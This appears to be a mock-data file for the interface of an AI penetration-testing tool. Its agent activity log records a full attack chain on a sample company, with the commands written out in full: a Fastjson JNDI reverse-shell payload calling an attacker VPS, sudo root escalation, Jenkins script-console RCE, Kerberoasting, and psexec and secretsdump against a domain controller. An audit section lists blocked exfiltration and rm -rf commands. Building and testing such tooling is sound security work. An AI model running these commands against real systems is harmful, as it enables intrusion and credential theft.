kind: "tool_result",
tool: "report_finding",
tool_use_id: "t53",
summary: "记录了 finding f-2。",
},
{
seq: 57,
worker: "work#5",
intent_id: "i5",
ts: T("2026-07-26T03:58:10Z"),
kind: "thinking",
summary:
"正在批量遍历 id 范围,评估可通过权限绕过访问的数据规模(暂不导出,避免触发拦截规则)。",
},
// work#3 · i3 后台用户接口枚举(running)
{
seq: 60,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:56:00Z"),
kind: "thinking",
summary:
"已取得后台会话,枚举管理端点,寻找可大量导出用户敏感数据的入口(目标 ②)。",
},
{
seq: 61,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:57:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t61",
summary: "curl -s -b 'session=eyJ…' https://admin.acme.com/api/users?page=1",
},
{
seq: 62,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:57:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t61",
summary: '{ "total": 12840, "items": [ { "id":1, "email":"a***@acme.com", "phone":"139****" } ] }',
detail: "管理端点可按页返回全部用户(含邮箱/手机号),约 12,800 条。",
},
{
seq: 63,
worker: "work#3",
intent_id: "i3",
ts: T("2026-07-26T03:58:20Z"),
kind: "thinking",
summary:
"确认存在大量读取用户数据的入口。导出操作命中破坏性/泄露规则,已提交拦截审批并等待通过。",
},
// workG · ig .git 源码泄露与硬编码凭据(done)
{
seq: 310,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:26:00Z"),
kind: "thinking",
summary:
"robots.txt 提及 /.git。先探测该目录能否下载,取得源码后即可白盒寻找注入点与硬编码密钥。",
},
{
seq: 311,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:27:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg1",
summary: "curl -s -o /dev/null -w '%{http_code}' https://www.acme.com/.git/HEAD",
},
{
seq: 312,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:27:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg1",
summary: "200",
detail: ".git 目录可被外部访问。",
},
{
seq: 313,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:28:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg2",
summary: "git-dumper https://www.acme.com/.git/ /tmp/acme && git -C /tmp/acme log --oneline | head",
},
{
seq: 314,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:30:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg2",
summary: "已还原 214 个文件;HEAD=main。config.php / db.php 在列表中。",
detail: "已将后端源码完整还原到 /tmp/acme。",
},
{
seq: 315,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:34:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "tg3",
summary: "grep -rniE 'password|pwd|secret|Data Source' /tmp/acme/config.php",
},
{
seq: 316,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:34:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "tg3",
summary: "$db_user='sa'; $db_pass='Acme@2021'; $db_host='10.10.10.30';",
detail:
"数据库口令硬编码,且 host 指向内网 IP。记录为推定内网通用的凭据。",
},
{
seq: 317,
worker: "workG",
intent_id: "ig",
ts: T("2026-07-25T20:36:00Z"),
kind: "result",
summary:
"确认源码泄露与硬编码数据库凭据,并将凭据写入图谱以便后续在内网复用。",
input_tokens: 88000,
output_tokens: 5200,
cache_read_tokens: 60000,
cache_write_tokens: 8000,
},
// work#6 · i6 shop 指纹与 CVE 关联(done)
{
seq: 320,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:22:00Z"),
kind: "thinking",
summary:
"shop.acme.com 为自研电商,先对框架·组件版本做指纹识别,再攻陷存在已知反序列化漏洞的组件。",
},
{
seq: 321,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:24:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t6a",
summary: "curl -si https://shop.acme.com/ | grep -iE 'x-powered-by|server|jsessionid'",
},
{
seq: 322,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:24:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t6a",
summary: "X-Powered-By: Servlet\nSet-Cookie: JSESSIONID=...",
detail: "为 Java 技术栈,存在接收 JSON body 的 /api/import 端点。",
},
{
seq: 323,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:30:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t6b",
summary:
'curl -s -H \'Content-Type: application/json\' -d \'{"a":{"@type":"java.lang.AutoCloseable"}}\' https://shop.acme.com/api/import',
},
{
seq: 324,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:31:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t6b",
summary: "错误堆栈中包含 com.alibaba.fastjson.JSONException (1.2.24)",
detail: "确认 Fastjson 1.2.24,对应 JdbcRowSetImpl JNDI 注入 RCE。",
},
{
seq: 325,
worker: "work#6",
intent_id: "i6",
ts: T("2026-07-25T14:40:00Z"),
kind: "result",
summary: "指纹命中 Fastjson 1.2.24,反序列化 RCE 攻击面成立,转入利用意图。",
input_tokens: 64000,
output_tokens: 4100,
cache_read_tokens: 42000,
cache_write_tokens: 6000,
},
// work#7 · i7 反序列化 RCE 拿反弹 shell(done,证明 g3)
{
seq: 330,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:12:00Z"),
kind: "thinking",
summary:
"启动一个 JNDI/LDAP 恶意服务,诱使 shop 反向连接以加载·执行 payload,先用 dnslog 确认外部通信再取得反弹 shell。",
},
{
seq: 331,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:15:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7a",
summary: "java -jar JNDIExploit.jar -i <vps> -l 1389 & # 启动 LDAP/HTTP 恶意服务",
},
{
seq: 332,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:16:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7a",
summary: "LDAP Server started on 1389, HTTP on 8180",
detail: "恶意服务已就绪。",
},
{
seq: 333,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:20:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7b",
summary:
'curl -s -H \'Content-Type: application/json\' -d \'{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<vps>:1389/Basic/ReverseShell/<vps>/4444","autoCommit":true}\' https://shop.acme.com/api/import',
},
{
seq: 334,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:21:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7b",
summary: "LDAP 收到请求 → 加载 ReverseShell → nc 监听器接收连接",
detail: "payload 已成功触发。",
},
{
seq: 335,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:24:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t7c",
summary: "id; hostname -I # 在反弹 shell 中确认身份与网段",
},
{
seq: 336,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:24:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t7c",
summary: "uid=33(www-data) gid=33 groups=33\n10.0.20.15 10.10.10.15",
detail: "为 www-data@dmz-web01,第二块网卡为 10.10.10.x。已进入 DMZ 并临近内网。",
},
{
seq: 337,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:30:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t7d",
summary: "report_finding(Deserialization RCE, high)",
},
{
seq: 338,
worker: "work#7",
intent_id: "i7",
ts: T("2026-07-25T15:40:00Z"),
kind: "result",
summary: "通过反序列化 RCE 取得 www-data 反弹 shell,初步建立目标 ③ 据点。",
input_tokens: 132000,
output_tokens: 8600,
cache_read_tokens: 90000,
cache_write_tokens: 12000,
},
// work#8 · i8 立足点提权(done)
{
seq: 340,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:02:00Z"),
kind: "thinking",
summary:
"www-data 权限有限,先做本地信息收集寻找提权点:sudo 配置、SUID、内核版本。",
},
{
seq: 341,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:05:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t8a",
summary: "sudo -n -l 2>/dev/null; find / -perm -4000 -type f 2>/dev/null | head",
},
{
seq: 342,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:05:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t8a",
summary: "User www-data may run: (ALL) NOPASSWD: /usr/bin/python3",
detail: "sudo 白名单中有 python3 且免密,可立即提权。",
},
{
seq: 343,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:10:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t8b",
summary: "sudo python3 -c 'import os;os.setuid(0);os.system(\"id\")'",
},
{
seq: 344,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:10:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t8b",
summary: "uid=0(root) gid=0(root) groups=0(root)",
detail: "已提权至 root。",
},
{
seq: 345,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:14:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t8c",
summary: "report_finding(Privilege Escalation, high)",
},
{
seq: 346,
worker: "work#8",
intent_id: "i8",
ts: T("2026-07-25T16:20:00Z"),
kind: "result",
summary: "本地 root 提权完成,据点已稳固,准备以其为跳板进攻内网。",
input_tokens: 74000,
output_tokens: 4700,
cache_read_tokens: 50000,
cache_write_tokens: 7000,
},
// work#9 · i9 内网主机发现(done)
{
seq: 350,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T20:32:00Z"),
kind: "thinking",
summary:
"据点直连 10.10.10.0/24,故用 fscan·内网扫描发现主机·端口,并锁定域控制器与高价值主机。",
},
{
seq: 351,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T20:36:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t9a",
summary: "./fscan -h 10.10.10.0/24 -np -nobr 2>&1 | tail -n 30",
},
{
seq: 352,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T20:55:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t9a",
summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080",
detail: "锁定了域控制器 DC01、文件服务器 FS01、内网 Jenkins。",
},
{
seq: 353,
worker: "work#9",
intent_id: "i9",
ts: T("2026-07-25T21:00:00Z"),
kind: "result",
summary: "完成内网主机发现,并将 3 台高价值目标写入图谱。",
input_tokens: 82000,
output_tokens: 5100,
cache_read_tokens: 56000,
cache_write_tokens: 8000,
},
// work#10 · i10 内网凭据复用(running)
{
seq: 360,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:42:00Z"),
kind: "thinking",
summary:
"源码泄露获得的 sa/Acme@2021 是数据库口令,企业内口令复用很常见。对 DC01/FS01/JENKINS 执行密码喷洒。",
},
{
seq: 361,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:44:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t10a",
summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'",
},
{
seq: 362,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:44:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t10a",
summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 认证失败",
detail: "在 FS01 上成功复用 sa 口令且具备管理员权限。DC01 未连上。",
},
{
seq: 363,
worker: "work#10",
intent_id: "i10",
ts: T("2026-07-26T03:50:00Z"),
kind: "thinking",
summary: "已控制 FS01,正在枚举共享目录寻找更多凭据与敏感文件…",
},
// work#11 · i11 Jenkins 未授权 RCE(done)
{
seq: 370,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:32:00Z"),
kind: "thinking",
summary: "JENKINS 8080 可直接访问,先确认 /script 控制台是否需要认证。",
},
{
seq: 371,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:35:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11a",
summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
},
{
seq: 372,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:35:02Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11a",
summary: "200",
detail: "Script Console 无需登录即可访问。",
},
{
seq: 373,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:40:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11b",
summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText",
},
{
seq: 374,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:40:03Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11b",
summary: "nt authority\\system",
detail: "Groovy 以 SYSTEM 权限执行。",
},
{
seq: 375,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:44:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t11c",
summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # 导出 Jenkins 凭据库",
},
{
seq: 376,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:45:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t11c",
summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!",
detail: "导出了两个域服务账号的明文口令。",
},
{
seq: 377,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:48:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t11d",
summary: "report_finding(Unauthenticated RCE, high)",
},
{
seq: 378,
worker: "work#11",
intent_id: "i11",
ts: T("2026-07-25T21:50:00Z"),
kind: "result",
summary: "确认 Jenkins 未授权 RCE,并导出了两个域服务账号的凭据。",
input_tokens: 96000,
output_tokens: 6200,
cache_read_tokens: 64000,
cache_write_tokens: 9500,
},
// work#12 · i12 Kerberoasting(done)
{
seq: 380,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T22:42:00Z"),
kind: "thinking",
summary:
"用 svc_deploy 凭据进行域认证,并以 GetUserSPNs 请求可 Kerberoast 的服务账号 TGS。",
},
{
seq: 381,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T22:50:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12a",
summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request",
},
{
seq: 382,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T22:52:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12a",
summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...",
detail: "取得 svc_sql 的 TGS 票据 (Kerberos RC4)。",
},
{
seq: 383,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:10:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t12b",
summary: "hashcat -m 13100 tgs.hash rockyou.txt --force",
},
{
seq: 384,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:18:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t12b",
summary: "$krb5tgs$23$*svc_sql$...:Sql@2020",
detail: "8 分钟内破解出口令 Sql@2020。",
},
{
seq: 385,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:19:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t12c",
summary: "report_finding(Kerberoasting, high)",
},
{
seq: 386,
worker: "work#12",
intent_id: "i12",
ts: T("2026-07-25T23:20:00Z"),
kind: "result",
summary: "通过 Kerberoasting 破解 svc_sql 口令,并写入图谱用于攻击域控制器。",
input_tokens: 108000,
output_tokens: 6800,
cache_read_tokens: 72000,
cache_write_tokens: 10000,
},
// work#13 · i13 拿下域控 DC01(done,证明 g4)
{
seq: 390,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-25T23:52:00Z"),
kind: "thinking",
summary:
"svc_deploy 来自 Jenkins 凭据库,先查询其组成员身份。若属于 Domain Admins 即可直接 psexec 到 DC01。",
},
{
seq: 391,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-25T23:55:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13a",
summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10",
},
{
seq: 392,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-25T23:55:05Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13a",
summary: "ACME\\Administrator\nACME\\svc_deploy",
detail: "svc_deploy 是 Domain Admins 成员。",
},
{
seq: 393,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:00:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13b",
summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10",
},
{
seq: 394,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:00:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13b",
summary: "C:\\Windows\\system32> whoami\nnt authority\\system",
detail: "以 SYSTEM 权限登录域控制器 DC01。",
},
{
seq: 395,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:05:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13c",
summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc",
},
{
seq: 396,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:10:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13c",
summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::",
detail: "导出了整个域的 NTLM 哈希(含 krbtgt),可制作黄金票据实现持久控制。",
},
{
seq: 397,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:15:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t13d",
summary: "report_finding(Domain Compromise, high)",
},
{
seq: 398,
worker: "work#13",
intent_id: "i13",
ts: T("2026-07-26T00:20:00Z"),
kind: "result",
summary: "已控制域控制器 DC01,并以 secretsdump 导出整个域哈希,达成目标。",
input_tokens: 144000,
output_tokens: 9200,
cache_read_tokens: 96000,
cache_write_tokens: 14000,
},
// 主 agent(人在环路对话)
{
seq: 70,
worker: "mainagent",
ts: T("2026-07-26T03:18:00Z"),
kind: "user",
summary: "后台先从哪里下手?",
},
{
seq: 71,
worker: "mainagent",
ts: T("2026-07-26T03:18:06Z"),
kind: "text",
summary:
"admin.acme.com 是 Element-UI 后台,既无验证码也无限速。建议先跑默认口令列表(admin/admin123),再转入字典攻击。已向 worker agent 注入一个高优先级意图。",
},
{
seq: 72,
worker: "mainagent",
ts: T("2026-07-26T03:52:00Z"),
kind: "user",
summary: "后台已拿下,接下来聚焦哪里?",
},
{
seq: 73,
worker: "mainagent",
ts: T("2026-07-26T03:52:08Z"),
kind: "text",
summary:
"目标 ② 是读取用户敏感数据。并行推进「枚举后台用户端点」与「API IDOR」。批量导出会触发拦截规则,需要您审批放行。",
},
{
seq: 400,
worker: "mainagent",
ts: T("2026-07-25T15:42:00Z"),
kind: "user",
summary: "shell 已拿到,接下来怎么打?",
},
{
seq: 401,
worker: "mainagent",
ts: T("2026-07-25T15:42:10Z"),
kind: "text",
summary:
"www-data 权限不足,先提权(sudo -l 看起来有机会)。拿下 root 后以 DMZ 为跳板发现内网,优先域控制器与 Jenkins。",
},
{
seq: 402,
worker: "mainagent",
ts: T("2026-07-25T21:22:00Z"),
kind: "user",
summary: "内网扫描完了。Jenkins 那台主机好像未授权?",
},
{
seq: 403,
worker: "mainagent",
ts: T("2026-07-25T21:22:08Z"),
kind: "text",
summary:
"没错。/script 无需认证即可直达 Groovy RCE。已注入一条提示让 worker 优先攻击 Jenkins。拿下后可导出域凭据,接着用 Kerberoasting 攻击域控制器。",
},
{
seq: 404,
worker: "mainagent",
ts: T("2026-07-26T00:22:00Z"),
kind: "user",
summary: "DC01 拿下了吗?给我总结一下。",
},
{
seq: 405,
worker: "mainagent",
ts: T("2026-07-26T00:22:12Z"),
kind: "text",
summary:
"已确认控制。攻击路径如下:shop Fastjson RCE → DMZ 提权 → 内网 Jenkins 导出域凭据 → svc_deploy 属于 Domain Admins → psexec DC01 SYSTEM → secretsdump 导出整个域哈希。四个目标均已达成或进行中。",
},
];
export function activityForTask(): Activity[] {
return activity;
}
// ── Token stats ──────────────────────────────────────────────────────────────
export const tokenWorkers: TokenUsage[] = [
{
worker: "planner",
input_tokens: 320000,
output_tokens: 24000,
cache_read_tokens: 210000,
cache_write_tokens: 33000,
},
{
worker: "work#1",
input_tokens: 288000,
output_tokens: 21000,
cache_read_tokens: 190000,
cache_write_tokens: 28000,
},
{
worker: "work#2",
input_tokens: 402000,
output_tokens: 31000,
cache_read_tokens: 280000,
cache_write_tokens: 41000,
},
{
worker: "work#3",
input_tokens: 274500,
output_tokens: 20320,
cache_read_tokens: 210400,
cache_write_tokens: 30000,
},
{ worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 },
{ worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 },
{ worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 },
{ worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 },
{ worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 },
{ worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 },
{ worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 },
{ worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 },
{ worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 },
];
// Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session
// (main | plan | intent:<id>) instead of the reusable work#N executor name.
export const tokenSessions: SessionTokenUsage[] = (() => {
const totals = new Map<string, SessionTokenUsage>();
for (const item of activity) {
if (item.kind !== "result") continue;
let session = "";
if (item.worker === "mainagent") session = "main";
else if (item.worker === "planner") session = "plan";
else if (item.intent_id) session = `intent:${item.intent_id}`;
if (!session) continue;
const current = totals.get(session) ?? {
session,
input_tokens: 0,
output_tokens: 0,
cache_read_tokens: 0,
cache_write_tokens: 0,
};
current.input_tokens += item.input_tokens ?? 0;
current.output_tokens += item.output_tokens ?? 0;
current.cache_read_tokens += item.cache_read_tokens ?? 0;
current.cache_write_tokens += item.cache_write_tokens ?? 0;
totals.set(session, current);
}
return [...totals.values()];
})();
export const tokenTotal: TokenTotal = grandTotal;
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
const d = new Date("2026-07-26T00:00:00Z");
d.setUTCDate(d.getUTCDate() - (29 - i));
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
return {
date: d.toISOString().slice(0, 10),
input_tokens: wave,
output_tokens: Math.round(wave * 0.08),
cache_read_tokens: Math.round(wave * 0.7),
cache_write_tokens: Math.round(wave * 0.12),
};
});
export const convTokens: ConvTokenSummary[] = [
{
llm_profile_id: 1,
created_at: T("2026-07-25T10:00:00Z"),
input_tokens: 42000,
output_tokens: 3800,
cache_read_tokens: 26000,
cache_write_tokens: 5200,
},
{
llm_profile_id: 2,
created_at: T("2026-07-24T16:00:00Z"),
input_tokens: 18000,
output_tokens: 1600,
cache_read_tokens: 9000,
cache_write_tokens: 2100,
},
];
// ── Traffic ──────────────────────────────────────────────────────────────────
const exchanges = [
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048],
["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0],
["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200],
["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86],
["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0],
] as const;
export const traffic: TrafficResp = {
enabled: true,
proxy: ":8788",
count: exchanges.length,
total: exchanges.length,
page: 0,
size: 100,
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
id,
host,
method,
url,
status,
content_type: ct,
resp_len: len,
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
})),
};
// Distinct hosts with counts, derived from the exchanges above (target picker).
const hostCounts: Record<string, number> = {};
for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1;
export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count }));
export const trafficDetail: TrafficDetail = {
req: `GET /v1/orders?id=1002 HTTP/1.1
Host: api.acme.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
User-Agent: ARTEX-worker/1.0
Accept: application/json
`,
resp: `HTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 655\n\n{\n "order_id": 1002,\n "user_id": 77,\n "amount": 1299.00,\n "address": "北京市朝阳区 ****",\n "phone": "138****6021",\n "items": [{ "sku": "A-100", "qty": 1 }]\n}`,
};
// ── Security / Audit ─────────────────────────────────────────────────────────
export const audit: Audit = {
attributions: { allow: 312, block: 9 },
entries: [
{
ts: T("2026-07-26T03:33:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -d 'username=admin...' https://admin.acme.com/login",
},
{
ts: T("2026-07-26T03:57:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -b 'session=...' https://admin.acme.com/api/users",
},
{
ts: T("2026-07-26T02:10:00Z"),
tool: "bash",
action: "block",
reason: "目标范围越界:out.evil.example 不在范围内",
command: "curl https://out.evil.example/exfil",
},
{
ts: T("2026-07-25T22:03:00Z"),
tool: "bash",
action: "allow",
command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch",
},
{
ts: T("2026-07-25T21:00:00Z"),
tool: "bash",
action: "block",
reason: "破坏性命令拦截:rm -rf 被拒绝",
command: "rm -rf /var/www",
},
{
ts: T("2026-07-25T20:30:00Z"),
tool: "bash",
action: "allow",
command: "git-dumper https://www.acme.com/.git/ /tmp/acme",
},
{
ts: T("2026-07-25T15:20:00Z"),
tool: "bash",
action: "allow",
command:
"curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import",
},
{
ts: T("2026-07-25T21:40:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText",
},
{
ts: T("2026-07-26T00:00:00Z"),
tool: "bash",
action: "allow",
command: "impacket-psexec acme.local/svc_deploy@10.10.10.10",
},
{
ts: T("2026-07-26T00:05:00Z"),
tool: "bash",
action: "block",
reason: "数据泄露拦截:secretsdump 需人工审批",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
},
{
ts: T("2026-07-26T00:06:00Z"),
tool: "bash",
action: "allow",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 审批后放行",
},
],
};
// ── LLM profiles ─────────────────────────────────────────────────────────────
export const llmProfiles: LLMProfile[] = [
{
id: "1",
name: "Claude Opus 4.8",
format: "anthropic",
model: "claude-opus-4-8",
api_key_hint: "…a3f2",
rate_per_second: 0,
rate_per_minute: 0,
context_window_k: 1000,
thinking_type: "enabled",
reasoning_effort: "high",
is_default: true,
priority: 0,
pool_exclude: false,
// anthropic 的字段名固定,故 max_tokens_field 恒为空。
max_tokens: 0,
max_tokens_field: "",
},
{
id: "2",
name: "DeepSeek V4",
format: "openai",
base_url: "https://api.deepseek.com",
model: "deepseek-v4-flash",
api_key_hint: "…9c11",
rate_per_second: 0,
rate_per_minute: 60,
